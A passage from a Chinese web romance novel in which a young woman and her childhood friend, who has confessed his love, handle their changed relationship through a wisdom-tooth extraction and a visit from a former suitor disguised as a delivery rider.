左手捂着腮帮,另手立即将没怎么受损的烤串又从嘴巴里拿了出来,其上只有小圈牙印,一点肉都没被咬掉。 “怎么了?” “你慢点。” 坐她一左一右的商恪景和虞昭音同时看来出声。 “啊……救命。” 虞千绾声音瞬间都发虚了些,腰背松散下去,手掌将左侧脸颊捂得更加严实。 虞昭音将自己面前还没喝的那杯温水放在虞千绾面前,顺势拿走了她面前的饮料,“你这些天就老实些吧,喝温水。” 身形微微前倾,视线掠过虞千绾看向另边关切的商恪景,替刚刚那一下被刺激得不轻一时有气无力的虞千绾解释道:“就她还没拔的那两颗智齿,前些天又发炎了,吃了好几天消炎药了,今天肿得没那么厉害了,但哪能遭住嚼这种大肉粒。” 说着,虞昭音点了点虞千绾额头,“这次长记性没?不许再拖了,这次月经结束,智齿彻底消炎,你就去医院拔掉。” 虞千绾哭丧着脸,她现在也很想拔掉,但仅限于智齿在痛的时候。 等到消炎不痛了,她又没有那个决心了…… 虞昭音显然看出她的怂,刚欲开口说这次必须,到时候她陪着她去,没有反悔的余地。 结果话还没说出,商恪景那边就率先说了,“上次你智齿发炎被疼哭的时候在那声泪俱下的吐槽为什么牙齿发炎的时候不能拔还得等到消炎才能拔,结果消炎了就反悔不肯拔了,说自己智齿长得好,不用拔。现在该不会又要重演一次吧?” “我……” 虞千绾一时间回不出什么话,她确实不长记性,典型的记吃不记打。 商恪景也没给她找借口的机会,“就这么说定了,这次消炎以后,我陪你去医院。” “啊……人到底为什么会有智齿这种东西。” “烧烤你吃着费劲吧?我去让厨师给你做点清淡的软一点的吃。” “不要!既然都要去拔牙了,我这两天肯定得吃好一点,不然拔完牙那一阵更不能吃东西了。” 虞千绾倔强的又把刚刚那串肉粒放到嘴里,仅用右边牙齿略显艰难地慢吞吞咀嚼。 明明这样已经够费劲了,她还贪心,最后右边腮帮子被塞得鼓囊囊的。 像只仓鼠,可爱得要命。 商恪景不由得轻笑出声。 正脆弱着的虞千绾听到这声笑想当然的以为是嘲笑,手比脑子快地伸出,精准掐住商恪景胳膊拧了半圈作为报复。 商恪景痛嘶声,“虞千绾你——” 下意识的话刚要出口,却看到虞千绾明显骤然变得清澈懊悔的眼神,他的声也一同噤住。 还没习惯新感情变化的俩人默契回正身子,低头要么吃串要么喝水的,八百个假动作掩饰自己突然躁乱不知所措的心。 将一切收入眼底的虞昭音默默抬了抬眉,唇角微扬。 在今日之前,虞昭音其实是真觉得他俩要完蛋了。 因为以她妹妹的性格和往日实例,是真不会对追求者手下留情,不仅拒绝的果断,言行举止也是疏离到不行。 所以虞昭音之前唯一的担心就是,虞千绾太耿直,藏不住情绪容易挂脸。 偏偏商恪景又跟别的那些追求者不同,对待旁人,她当然可以完全不见不理。但商恪景,他俩总还是会在家里聚会场上见到的,不可能做到一个字不说,那样恐怕会被家里人追着问,更尴尬了。 但看到他俩的相处以后,虞昭音突然觉得商恪景可能会跟之前那些被虞千绾无情扼杀的追求者不一样。 她反正是第一次见自家妹妹这么对待明知对自己有好感的异性。 虽然依旧能感觉到虞千绾是在保持距离,想要格外注意的。 但稍微一个不注意,原先那个维持了二十多年相处模式的虞千绾就会突然蹦出来。 这种时候再突然反应过来,不知怎的,虞昭音反倒品出一股暧昧劲——别扭的神情,突然收回的手,同时闪开的视线。 青苹果一样的涩生清甜。 虞昭音突然觉得有个成语很符合他们现在的局面,不破不立。 彼此都知道没法再做朋友了,破除持续了二十多年的关系,这样才能进到下一段关系。 只是下段关系的好坏就不得而知了。 作者有话说:那必然是好![奶茶][奶茶][奶茶] 第37章 第 37 章 抓手腕 送别的场面总是很混乱。 聚会结束后, 要走的大家都站在门口,一会儿这个跟那个说一句,一会儿那个又跟这个说一句,当这个人以为结束可以走的时候又发现那个人在跟二老之一说话依旧没法走。 虞千绾挽着姐姐的胳膊站在一旁, 姐妹俩有一搭没一搭说几句, 静待着长辈们的话题结束。 虞千绾今晚打算回校外小区住了, 因为明天早上第二节有课, 不过她是坐姐姐的车来的, 晚上也没提前联系司机过来接,所以只能继续蹭姐姐的车等司机把姐姐和小橙子送到家后再送她回去, 也就迟个十几分钟的时间, 玩玩手机就过去了。 但旁人不知虞千绾和商恪景这些天的事,见虞千绾没让司机开车过来想当然的认为虞千绾是要坐商恪景的车一道回去, 毕竟俩人一直都是住在校外的,也经常共乘一辆车往返。 所以一行人打算离开时, 习惯性的就叮嘱住在外且年岁较小的二人, 让他们回去路上慢些,到家了在群里说一声。 很突然被cue到,意识到大家的误会,都准备上姐姐车了的虞千绾懵然眨了眨眼, 松散的神经倏然绷紧。 换做平常, 如若真有什么话跟姐姐聊,或说有什么东西丢在姐姐家要坐她车一起回去拿,大大方方也就说出口了, 旁人也不会多想什么,可当下心知都是假话……性质不同就难以说出口,何况商恪景就站在她不远处, 当着他面说这些就好像摆明说不想和他一辆车,虞千绾很难不去顾及他听到的感受。 顿觉要命的虞千绾侧过脸去冲着姐姐闭了闭眼,一脸很命苦的模样。 虞昭音低笑,轻声问她意见,“怎么说?” 虞千绾刚想说,就装傻得了。 反正这么多人这么多辆车,她直接钻进姐姐车里,等到旁人再发现时候车已经开走了。 但很意料之外的,商恪景主动过来了。 他靠近她身边,声线微微绷着询问:“我看你车好像没在,坐我车一起回去吗?” 在一下午的聚会中,商恪景已然知道虞千绾这些天是住在虞昭音家里了。 大抵是怕她还要住在虞昭音家,或以此拒绝自己,商恪景跟着补充道:“明天有课,回去住方便些,早上能多睡会儿觉。” 虞千绾更别扭了。 她突然很后悔下午答应和商恪景一点点慢慢来,这种氛围实在太奇怪了。 她既感觉商恪景心思不纯,又不好意思当着商恪景面直白说出来,还会矛盾去想万一他只是不想让朋友之间太僵呢…… 虞昭音唇角抿着笑,侧目望向别处,眼观鼻鼻观心不多管他们小朋友之间的事,还手动转过了趴在自己腿边的小橙子脸颊,让他和自己一同看向远处。 长辈们的话题恰在这时彻底结束了。 他们又开始来关心虞千绾和商恪景,就这么,虞千绾在无形的话语催动下稀里糊涂地坐上了商恪景的车,边无措着边对着车窗外的爷爷奶奶摆手,直至车辆渐行渐远,爷爷奶奶的身形在视野里一点点变小、消失。 然而如此,虞千绾的关注力就不得不全部收回车内了,她更为拘谨地坐回身子。 幸而,商恪景没有说什么,也没做什么,大多时候他们就各自玩着各自的手机,虽然心里都挺不淡定的,但面上看起来都还算过关。 期间,他们也短暂聊过几句,都是商恪景先开的口。 他先是提了几句篮球赛的事,单纯分享胜利,虞千绾听着却很是心虚,生怕他下一秒就要暗戳戳提自己那天没去看,但他不仅没提还明显跳过了一些会让她感到别扭的点,虞千绾反倒更不是滋味了…… 而后,他又提到了论文的事,他们浅浅就此聊了几句。 最后一个话题是拔智齿的时间,俩人大致敲定后便没再说话。在讨论这个时,虞千绾险些被憋死……她慌死拔智齿这事了,但现在和商恪景的关系尬着,很多话她都说不出来,也不能卖乖拉扯,只能一板一眼和他交涉。 车辆进到小区,他们进到同一栋,乘同一个电梯至同一层,依旧没有人再开口说一个字。 手指触上密码锁屏幕,虞千绾摁下第一个密码,心想他们今天应该不会再有交流时。 身后商恪景家门密码锁打开的声和他的话一起传来,“……以后,我不会随意进你家,你如果不放心可以把密码换掉。但明早上课出发前,我家门依旧会开着。” 他没将话说得太直接,也没站在原地硬等着虞千绾的回答,都恐会让她有压力。 他不想那样,只是想要表达自己的态度——不管她还跟不跟他一起上学,他都在这。 话落,商恪景便率先拉开门进了家。 走廊里只余虞千绾一个。 她低垂着眸,难以聚焦在某一处的视线四处飘荡着。 即便知晓商恪景已经关了门进家了,她却还是连回头看眼他紧闭家门的勇气都没有,满心复杂地输入密码回到家里。 时隔几天重回这个住处,虞千绾仅是站在玄关随意一眼都觉要被和商恪景有关的痕迹压得喘不上气。 玄关柜上的可爱流苏小挂坠,是他送她的。 一堆女鞋旁唯一的那一双男士拖鞋,是给常来的他穿的。 柜子上放置的具有招财寓意的金蟾摆件,是筹备新账号期间他们一起逛商场时买下的,那时的她有些焦虑觉得自己需要些玄学力量的鼓励。 他则依旧是那副放荡不羁的模样,双手环胸一本正经说“哟,这还得了?本来都要赚到眼花缭乱数不清后面的零了,这又来了股锦上添花的神秘能量。” 哪怕她知道他说的话是假的,只是单纯在逗她哄她,但还是会瞬间开怀,他总有这样的能力。 无论是有些难捱的当时,还是现在…… 只是想着,虞千绾仍然不自觉笑了声。 然而笑声在空旷屋内荡开的霎时间,她又万分怅然若失,渐渐敛下了笑,拖着不知所措的身躯慢吞吞去到沙发边,躺下去。 幽长的一声叹息。 虞千绾又控制不住的想这段时间以来想过最多的一个问题——怎么就偏偏是他呢? 为什么偏偏是他呢…… 如果不是他,不是她,该有多好。 他们明明是那么要好的朋友。 虽然她也确实很漂亮很优秀很难不让人喜欢就是了,虞千绾自恋又精分的想,转瞬就又蔫吧了下去。 时至今日,虞千绾心头时而还对商恪景喜欢她这事很是恍惚。 但不可否认,商恪景那日醉酒后对她说的那番甚至算不上表白的话,是她所听过的最动听最震撼最感动的文字……她从没那般浓烈的感受到过异性对她的喜爱和心疼。 大抵是从小饱受家人疼爱,虞千绾不是个会轻易被异性打动的人,她对爱情的观点也一直是感觉定生死,只要没感觉的人,无论对方做什么,她都不会为其感动并喜欢上对方的。 可商恪景……是第一个让她升起,哪怕不喜欢,但在一起也会很快乐这种念头的人,而且他确实也长得很帅。 念头刚起,虞千绾就猛地抬手狠狠往自己额头拍了一巴掌,很清脆的一声,但怒斥自己的声却很气若游丝,“啊——虞千绾你在想什么鬼东西?!太没道德了吧……” 无可奈何的在沙发上翻来覆去,好几个来回,虞千绾忽坐起身。 她想肯定就是自己之前太依赖于商恪景这个好朋友,并且习惯于在朋友关系里的一对一,导致她的交际圈其实是很窄的,虽然有很多见面或闲暇能聊几句的朋友,但都不是那种关系很铁的,以至于现在跟商恪景关系微妙她都找不到别的朋友分享,总觉得跟谁的关系都差一点。 分享秘密有些难,但聚会一起玩可以啊,不仅可以充实她的生活让她少想点商恪景,而且保不准能交到比商恪景还要更懂她的朋友呢! 虽然虞千绾深知后者非常非常难,但她没办法了,只能这么自我安慰着给朋友们广发消息,询问有没有人出去玩或近期有聚会派对的带她一起参加。 虞千绾家境优渥,日常又偏宅不太参加圈子里的那些活动。 现下性情急转主动开口询问,就算是没有活动,被询问到的人都很情愿为她现场筹备一场,毕竟没人不想和嘉澍集团最受宠的小公主多熟络几分。 很快,虞千绾就把后面三天都安排满,这才收了手,因为第四天……她就要去医院拔智齿了。 结束和朋友的聊天,虞千绾手指搭在手机屏幕左侧滑了下,退出单个聊天框。 微信主页面里,涵盖虞商两家人的群聊正欢跃的蹦跶个不停,消息已经在不知何时到达了99+。 虞千绾突然想起自己到家还没去群里报平安,赶忙点入发了条。 就在她消息发出后的五秒内。 商恪景也跟着发了条:[到家了] 这么巧? 完全不像…… 倒像是一直注意着她的动静。 这么一想。 虞千绾的心又乱套了。 哀嚎一声,她再度无力地倒回沙发上,像条脱水的鱼甩动着四肢,嘴里无可奈何的哼唧个不停。 后续接连三天的时间,虞千绾和商恪景依旧处在这种诡异的氛围下。 大部分时间如他们所约定那般,并不见面,也不联系。 但在小部分见面的时间里,他们总会发生相似的场景—— 冷不丁某个话题突然勾起虞千绾兴趣,她由衷发笑然后巴拉巴拉地直说,聊着聊着,突然意识到他们现在情况不对,一秒又收起笑容同商恪景保持距离。 暗暗高兴私心盼她多遗忘一会儿的商恪景见她突然冷淡,只得悻悻敛下闪烁着微光的眸- 周四。 拔智齿日。 如临大敌的虞千绾再顾不得太多和商恪景之间的处境,也管不得面子不面子的,直接扒拉在沙发上耍赖,临时反悔不想去了。 在这种事情上,商恪景自也不会完全顺着虞千绾。 但在拉扯的过程中,商恪景感受到了久违的滋味。 他们原本的相处模式。 心理建设的时间很长,拔智齿的时间却很短暂。 虞千绾智齿长得正,拔起来不难,医生本说她下面的那颗智齿应该也可以不缝针,少遭点罪,结果拔完后又叹了口气说她左下方的智齿长得挺深,还是得缝一针才行。 虞千绾牙周被打了麻药,拔牙完全是感觉不到疼的。 但听到医生这话,心里的恐惧更甚,可她现在已经像是案板上的鱼肉任人宰割,不仅不能反抗,就连嘴巴都不敢闭,还得老实张着,否则生怕影响了医生的操作。 “来,嘴巴再张大点,智齿太靠里了,不张大不好缝。” “……嗯。” 虞千绾声音都在颤,但还第一时间老实应了声。 “要缝了,保持嘴巴张大。” “再张。” “好,对,就这样,保持。” 自己都没意识到的,虞千绾垂放在身侧的手也带着些紧张的颤。 倏地,一只温暖的手覆上她的,试探性握住,大抵也是怕她抗拒,见她并没抽回手,反而眯开眼有些无助地望向他时,他才很轻很轻地出声宽慰她,“没事、没事。” 说着,商恪景的指腹还在虞千绾的手背上摩挲着。 他一贯具有攻击性的浓颜面貌在此刻却是那样的柔和,那样的具有安慰力。 头顶一直有个刺眼的大灯照着,虞千绾虽然眯开了眼,但视线是不太清明的。 她无法完全的看清眼前的商恪景,心却在瞬间晃了神。 理智告诉她,她该要缩回手的。 但医生开始给她的下智齿缝针了,虽然感受不到疼痛,但针线穿过牙肉的拉扯感很明显,虞千绾陡然紧张起来,眼睫加速眨动,手也猛地反握住商恪景的手腕,牢牢攥住这唯一的安心来源。 商恪景眸光一闪。 虞千绾再度闭上了眼睛,没瞧见,但手抓得越来越紧,她是真的害怕,骨节都用力的微微泛白。 商恪景觉察到,抬起另手,覆上她手背,轻轻拍了拍,试图能为她缓解些紧张情绪。 第38章 第 38 章 “是觉得你可爱”“是喜…… 智齿缝合好, 医生往里面塞了块棉球后道:“好,咬住,可以起来了,但得在医院等半小时, 半小时后我再检查一下才能走, 这半个小时里不要吐口水, 都往肚子里咽。” 虞千绾拔过右边上下的智齿, 已经对这套流程熟悉, 点了点头。 医生推开了一直向下照着方便观察口腔情况的大灯,虞千绾终于可以完全睁开眼睛, 但牙齿刚历经这么一遭流了不少血, 并且这过程中虽说感觉不到疼,但耳边一直盘桓着牙医器具的清脆钻声以及牙齿一点点被拔掉的感知足以折磨人, 惹得虞千绾精神免不得有些萎靡,坐起身的时候人还有些飘离, 又伴随着一种‘上刑’结束的解脱感。 在虞千绾起身踩到地面的时候, 商恪景握住了她小臂,帮她托了些力。 虞千绾这才意识到,他们的手一直没松开。 眉心一跳,她赶忙将手抽了出来。但在抽出手的一瞬间, 虞千绾更觉自己像是用完就丢的渣女, 心里更是忐忑,她不敢抬起头看他的眼神,一股脑往外走。 身后, 护士叫住了商恪景,把冰袋递给他,“哎, 家属,这个拿着,让她冰敷。” 虞千绾听到这个称呼一时间都没反应过来是在喊商恪景,结果商恪景听起来应得还挺自如,“好,谢谢您。” “……” 虞千绾埋头走得更快了- 休息区域。 商恪景在冰袋外裹了几层抽纸才递到虞千绾手边让她拿着贴在左脸颊上。 虞千绾还有些失语于他刚刚竟然那么自觉就认领了“家属”的称呼,毫不迟疑也不解释的。 她拿过冰袋的时候瞧了他眼。 商恪景没弄懂这眼神的意思,尤其她刚弄完牙不舒服,眼睛里有些微微的涣散感,他下意识以为她是哪里不舒服又碍于现在和他关系尴尬不好意思提,于是便主动俯下身询问她:“怎么了?” 结果就这么简短的三个字还没全部说完,虞千绾突然伸手抵住他肩膀朝后推了下。 始料未及的动作,商恪景身形被推的往后微微仰跄了下,但虞千绾力道没那么大,不足以完全推动他,他的脚下一动没动,只是上身重心稍有不稳。 短暂的愕然之后,直起了身的商恪景垂眸看着身前一手拿着冰袋捂着侧脸且因为刚拔完牙有种天然柔弱感的虞千绾,突然就笑了,“虞千绾你林黛玉秒变鲁智深啊?” “你……” 虞千绾听他这形容一秒气急败坏,张嘴就想回怼,但嘴唇一动突然反应过来里面还有棉球,而且麻药劲还没散,她的左半边脸都是麻木的,不适合说话,当即又噤了声。 商恪景也意识到,敛住了些神情没在这时候同她贫嘴。 但接二连三几件事几句话弄得虞千绾心生恼然,她不想就这么揭过,否则真要被憋死,于是她抬脚就在商恪景小腿处踢了下。 这段时间和他相处里积攒的那些别扭滋味似乎都借由这刻开了个宣泄口,虞千绾见他不躲,接连又踢了几下,不过都没用太大的力,而且是用鞋头和鞋面踢的,甚至于踢到最后,她完全是在踢他的鞋,根本不会弄疼他。 虞千绾从没觉得自己这么窝囊过,明明她才是被喜欢的那一方,怎么遇上他就成这样了。 “错了错了,我不该那么说。” 商恪景还当是自己刚刚那话招到了她,非常丝滑的认错,坐在了她身边,可唇角委实很难压。 实在是她刚刚的样子太可爱,加之,他们之间生疏好些天,她现在随便一点靠近,他都万分暗喜。 发现他依旧在笑,虞千绾更是忿忿了,感觉自己的动作不仅没有丝毫杀伤力还像是在无能狂怒,但她现在的情况根本没法同他争论,吵个架还得打字,她只能暂时抑下情绪侧过了身子,背对着他,眼不见为净。 商恪景不是那种会让她生闷气的人,也很会给她台阶。 长臂一伸,直接把手机举到她面前一截的位置,换了话题,“来,比个耶,拍张照跟昭音姐汇报一下任务完成。” 自拍模式已经被他事先打开了。 虞千绾通过手机看到,商恪景另只手上提着个透明的小袋子,里面装的是她刚被拔下的两颗智齿。 以及他那标准的八颗牙齿的微笑……虞千绾只觉他笑得更灿烂了,嘲笑值拉满,瞧着心头更为不快。 不想同他合照,虞千绾抬手就拍下他手机。 商恪景又举起,她皱了皱眉,再拍下。 商恪景又又举起,虞千绾忍无可忍,扭头瞪了他眼。 商恪景却笑说:“终于肯看我了?” 虞千绾瞠目。 她从前没觉得商恪景脸皮这么厚啊,她现在愈发觉得他那天在爷爷奶奶家的庭院里哭着说出那番话是想让她心软,完全就是个绿茶男! 没忍住,她咬着棉球也还是很含糊的出声吐槽了,嘴唇都没完全张开,“商恪景,你好讨厌。” 商恪景反应须臾才全然弄明白她刚刚在说什么,“哪讨厌?” “哪都讨厌。” 虞千绾嘴上这么咕哝,但那轻皱的鼻头和带嗔的调调压根不像是真正意义上的讨厌,“表情好欠揍,一直盯着我笑话我……怪不得我这么多年都意识不到你喜欢我,这谁能意识到才奇了怪了。” 嘴比心快的话一秃噜就出去了。 话落地,虞千绾才懊悔不应该说,但话语不能像发消息似的撤回,她只能强壮镇定又别过了脸,不和商恪景尴尬对视。 商恪景依旧没让这个话题轻轻揭过,空气静了几瞬,他也有些不自在的轻声解释:“……那不是笑话。” “是觉得你可爱。” “是……” 他声音更轻,“是喜欢。” 噌地,虞千绾耳朵一下就红了,身形也一下绷直。 刚还皱皱巴巴的表情也骤然舒展,一双大眼睛清澈地睁着、眨着。 心脏却像被按响了求救信号,反复呼喊:[救命救命救命——] [他在说什么?怎么突然跟表白似的……] [早知道我刚刚就不该那么说的……怎么牵扯出这个回答?好要命。] 商恪景显然也不自在于刚刚那番话,垂首清咳了几声。 后续等待的二十分钟,他们都默默低头玩着手机,彼此不交一言。 直到距离拔牙过去半小时,商恪景才出声提醒虞千绾到了时间,喊她去给医生看。 医生检查过后说没什么问题,该叮嘱的事宜护士也叮嘱过了,就是记得一周后来拆个线就行。 踏出医院,虞千绾由衷仰头长叹。 可算是把最后这两颗智齿都给解决了。 但跟着,让她痛苦的话就从商恪景口中出来。 “这几天吃的不仅要清淡,还要放到温凉才能吃,不能吃热的,活血。” 自然,让她痛苦的是前一句。 一个嗜辣如命的人突然清淡,当真很难适应…… 商恪景知晓她的感受,但没办法,健康比较重要。 只能安抚她说,等她好了,他再请她去吃火锅吃川菜。 虞千绾幽幽瞟他眼。 心想,他是不是搞错受益方了? 现在他可是追求者诶,他该巴巴央着她给他一个一起吃饭的机会才对,她又不是只能跟他去吃饭。 但有刚熬过的死寂二十分钟实例在前,那感受实在有些糟糕,于是这次,虞千绾憋住了话。 而且这种话,但凡有些理智,她也不会好意思说出口。 商恪景的大多注意力则都放在让虞千绾忌口这件事上,毕竟他俩现在关系不比以往,他基本已经不去她家了,生怕她管不住嘴在家里偷吃影响伤口恢复。 俩人一起回到家门口的时候,商恪景踌躇再三还是主动提出了去虞千绾家照顾她。 天地良心,他这次是真的一点私心都没有,单纯出于担心,却接收到了虞千绾丁点不信的眼神,然后,她冲他皮笑肉不笑了几秒,身形骤然后退进到家里,“砰”的一下毫不留情关了门,全然不给他进家的机会。 商恪景无奈又有那么点小失落的喟叹声,只能拉开门回了自家- 临近傍晚的时候,在心里祈祷N遍的虞千绾左脸还是肿了起来,对比起小小的右脸更显臃肿,像极了网上有段时间挺火的那只蜜蜂小狗。 她苦着张脸对着镜子照来照去,还用手机拍了几张发去自家群里跟全家人哭诉。 爷爷奶奶最近还挺时髦,喜欢拿家里人的照片做表情包,虞千绾的这些照片也没能逃掉。 但其中有一张,莫名还挺可爱,虞千绾反手发到了朋友圈里。 结果商恪景比在群里得知她要发朋友圈的家人还先点了赞。 “嘶——” 虞千绾眼眸微眯,左手大拇指和食指伸直做了个“八”的姿势抵在下巴沉思。 这人真是彻底不藏了。 成天盯着她的各种动态是吧? 一个半小时后。 虞千绾家的门铃突然被摁响,吃了止疼药和消炎药窝在沙发上不禁昏昏欲睡的她迷迷糊糊撑起身子,捂着左边腮帮子艰难小幅度打了个哈欠,“进……” 嘴巴里面有线,虞千绾都不敢大声讲话,又隔着门,门外人显然没听到,还在摁门铃,她只能低头去拿手机,点入微信打算问商恪景什么事。 结果就在她拿起手机的时候,隐约听到隔壁门好像打开了。 虞千绾一怔,竖起耳朵细听动静。 既然隔壁门才刚开的话,那代表刚刚敲门的人不是商恪景? 那是谁在敲门? 虞千绾困意瞬间散了大半,揣着困惑和警惕起了身,轻手轻脚靠近玄关,凑到猫眼前观察外面情况。 果不其然看到了两个人,刚刚敲门的人并非商恪景,他是听到敲门声才出来的。 另个男人似乎是送外卖的,头盔和口罩都严实戴着。 手上还提着打包袋。 但她没点外卖啊? 正狐疑之际,虞千绾从猫眼里看到商恪景突然伸手摘去了另个男人的口罩,露出张无比熟悉的脸——易辉卓。 虞千绾惊了下,更懵了。 他两年前就被她拉黑删除了所有联系方式彻底断联。 怎么会今天出现在这? 作者有话说:易辉卓在17章出现过,忘记的可以去瞅一下~ 第39章 第 39 章 “你们…在一起了?”…… 门外传来动静时, 商恪景正坐在沙发上,看着投屏到电视里的京体大的球赛视频,观察着京体大的主力队员。 两人是图离京大近才在校外这个小区居住的,隔音效果自然比不得他们常住的那些昂贵区域, 但也不算太烂, 中规中矩的还凑合。 就是在客厅待着的时候, 只一门之隔的走廊如若有什么动静会较为明显的传到耳朵里, 尤其送外卖快递这类的, 他们敲门声会更重些,时而还会伴随着“您好, 您的外卖/快递到了”这类刻意放大的声。 不过他们这层只他们俩人在住, 所以平常并不会因此感到太多烦扰,反倒方便听到声响去对方家蹭吃蹭喝。 但在虞千绾拔完智齿尚不能乱吃的阶段, 这种一般的隔音条件又多了个优势,那就是监督她。 所以听到隔壁传来敲门声时, 商恪景几乎是带着一种果然不出所料的情绪去开的门, 心里头还想着虞千绾今天不够谨慎,偷偷点外卖怎么也不让外卖员别敲门,这不是很明显会被他发现吗? 他本打算把门推开后就双手环胸靠在门边,静待着虞千绾偷偷摸摸打开门突然看到他的反应。 他也确实这么做了, 但站在虞千绾家门口等着她开门的外卖员看到他倒是仿若受惊般猛地一激灵, 然后欲盖弥彰地将已经压到最低的头盔又往下摁了摁,还将快要抵到眼睛的口罩也往上拉了拉,整个身子也当即往远离他的那侧墙壁缩躲, 透着种说不出的怪异感。 商恪景视线顺势自上而下打量起这人。 不仅没穿标准的骑手服装,反倒穿得还挺……骚包。 虽然把脸几乎都挡了起来只露出双眼睛,但穿在外的那一身衣服显而易见的不便宜, 而且熨帖的格外齐整。 越看越不像送外卖的,反倒像是特意准备要来给什么人看似的。 就连头上戴着的头盔都不是外卖骑手会戴的那类头盔,而是玩机车的人戴的那类头盔,五位数起。 商恪景起初还挺礼貌的,没有明晃晃盯着人打量,只是故作不经意看去或用余光。 但这位外卖员的装扮委实不像个外卖员,而且,如果真是虞千绾点的外卖,以她曾经躲避他的经验来说,她不至于疏漏至此。 商恪景直觉不对,并且外卖员一直做贼心虚似的在躲他。 但只是感觉,没有什么切实证据,商恪景索性主动上前,朝着外卖员伸出手打算拿过外卖,如此外卖员就必须得离开了,“您好,外卖给我吧,我是她朋友,我转交给她就行。” “不用。” 外卖员的手朝后一闪,“我们公司有规定,要把物品亲自送到本人手上才行。” 听到这不仅不陌生反倒很熟悉的声音,商恪景眼睛微眯,敏锐觉察到什么。 而眼前的外卖员也因为防着商恪景,不想让他拿走外卖,很警惕地盯着商恪景。 大概是意识到和商恪景这么对视着容易露馅,他急遽偏过头想继续缩在角落里,可为时已晚。 商恪景突然伸出手,径直拽住了他口罩底端,往下一拉,易辉卓的大半张脸就完全暴露在视野中,他慌乱想再拉回口罩,但已是来不及。 “果然是你。” 商恪景又靠回了门边,食指慢悠悠在耳廓揉了揉,“这么死缠烂打的声音,除了你没旁人。” “商恪景!” 易辉卓一秒暴走,“我死缠烂打怎么了?我起码敢勇敢跟虞千绾说我喜欢她,你呢?这么多年赖在她身边当个懦夫。我警告你,你再阻止我追求虞千绾,我就把你喜欢她的事告诉她!” 商恪景耸了耸肩,完全无所谓,“你当年又不是没说过,这么多年就会这一套?” 只不过在当年,虞千绾完全没信。 而现在,她已经知晓。 所以商恪景更没什么好担心的。 易辉卓一张脸都快憋成猪肝色,突然想到什么,他面色急转,眉毛高高翘起,得意洋洋,“商恪景,你少在我面前装了,我已经知道了,虞千绾不打算再跟你做朋友了吧,她最近可一直单独去跟别人聚呢,一个场合都没带你。甚至别人一提到你,她的表情就不对劲。” 商恪景心下瞬间了然。 怪不得他消失这么多年冷不丁又过来纠缠虞千绾,原来是见他们关系不好,以为自己有机可乘了。 虞千绾不喜欢易辉卓,易辉卓又是个特别执着的,没出国前天天像个狗皮膏药缠着虞千绾,虞千绾好话歹话都说尽了还是没用,只能天天看到易辉卓就躲着走,期间自然也没少让商恪景帮忙挡着些易辉卓。 他俩就这么结下了梁子。 但今天不是斗嘴的时候,商恪景看了眼依旧紧闭的虞千绾家门,主动放缓了声调,“她今天不舒服,说不准已经睡了,你别在这一直候着敲门了,打扰她。这种时候,就算她出来,也不会对你增加好感度。” 易辉卓却没懂商恪景的动机,还当他是被自己戳到了痛处才突然好声好气,刚欲得寸进尺。 身边一直关着的门骤然被从内推开。 易辉卓站位离门较近,也对门开不设防,半边身子被撞到微微朝后踉跄了下,幸而虞千绾开门的动作并不重,只是一扇门突然抵过来他有些站不稳罢了,不过刚刚面对商恪景燃起的气焰算是被瞬间打散了。 虞千绾也没料到易辉卓站的位置会被门磕着,她从猫眼看出去的距离与现实有些误差。意识到的时候,她也立即控住了门把手,没再推。 但她只是看了眼易辉卓,确定他没什么问题就行,并没开口多说什么,因为易辉卓这人实在太会自我劝慰,虞千绾拒绝他的次数数都数不过来,他却依然像只打不死的小强。更别提这种带有误导性的关心话了,虽然她就算说出口也只是礼貌,但落到易辉卓耳朵里怕是会完全变了味。 曾经被他纠缠过太多年,所以很懂他脾性的虞千绾没说出来平白给自己找麻烦,对待易辉卓就不能给好脸。 她直接冷着脸很不快地质问易辉卓,“你为什么在这?你怎么知道我在这?” 也很直接的表达自己的不悦,“没得到我同意就贸然上门,这很冒昧。” “……千绾。” 对象一变成虞千绾,易辉卓的表情就完全变了,有些憨憨地对着虞千绾解释,“不是你把我删掉了嘛……我没办法联系你。” 虞千绾当然知道,她那话的意思就是不想让他找自己。 “以后不要再来,不然我就让我爸妈告诉你爸妈了。冷不丁跑到我家门口,这算是骚扰。” 虞千绾丢下这番话就要拉上门。 眼见她要走,易辉卓赶忙一手撑上门边,不让虞千绾关上门,生怕如此他就见不到她了。 商恪景当即跟上,从后掌住易辉卓肩膀就将他往后拉,随之让人有安全感的身形朝中间一插,就那么立在虞千绾面前,阻隔开她和易辉卓的距离。 易辉卓这时候也顾不得商恪景的存在,反正商恪景打小就跟虞千绾关系近,他追求虞千绾的所有丢脸瞬间,商恪景都瞧见了。 易辉卓也不在意眼下这一点了,他只怕好不容易见到虞千绾一面还没法把东西送出去,赶忙朝着虞千绾提起手上的餐袋示意,“你别生气,下次不会这样了。我就是从别人那看到你发朋友圈说拔完智齿疼,脸还肿了,我一时担心,给你送了些滋补又方便吞咽的吃食过来。你拿着我就走了。” “我不需要,比起你所谓担心送过来的东西,你此刻站在这带给我的困扰更多。” 虞千绾就是这样的一个人,不接受不感兴趣的追求者的好感,也不接受追求者送的所有东西,和追求者的距离拉得非常开,很明确的让对方感知到她对他没意思,他们之间也绝对不可能。 也就是在这种时刻,立在她身前的商恪景才能感受到些区别对待。 虽然虞千绾不喜欢他,但好歹,也没像对别的追求者那样排斥他。 两个男人面对面站着,情敌之间本就暗潮汹涌,更别提商恪景这时候还有些暗爽。 易辉卓瞧见,有些破防,主打一个自己不好过但也不想让商恪景好过,依旧不死心冲着虞千绾道:“好,对不起,千绾,我是好多年没见你了……今天知道你不舒服一下没忍住,绝对没有下次。但你别再被这货给蒙骗了。” 他话锋一转,手指气到颤抖地指着商恪景,“你拿他当发小当好朋友,他可没你这么单纯,他喜欢你很多年了!他就是个绿茶,嘴上打着朋友的名义,实际暗戳戳使阴招,让你在日复一日里依赖他离不开他喜欢他,你能不能信我一次,男人最——” “我知道。” 虞千绾并不响亮的声音却让易辉卓话语一止,他反倒有些怔怔,“……什、什么?” 商恪景也微微敛下眼睑,垂眸侧目看她。 还未完全看清她时,就闻她那因为拔完智齿脸肿不适的嗡声轻轻荡开,“知道他喜欢我。” 那样的柔淡,却又那样的掷地有声。 商恪景眼睑颤了颤,忽觉完全值了,她的的确确、完完全全地看到了他。 而他,也不必像往昔一般,生怕被她意识到连朋友都没法继续做而违逆心意地虚伪同她说,他们只是朋友。 每次,他都会得到虞千绾扬着莫名的笑说“那当然啊,我肯定不会误会的,你跟我解释这个干嘛。” 每次,他都会庆幸于她没发现,又会空虚于她没发现。 可这次不同。 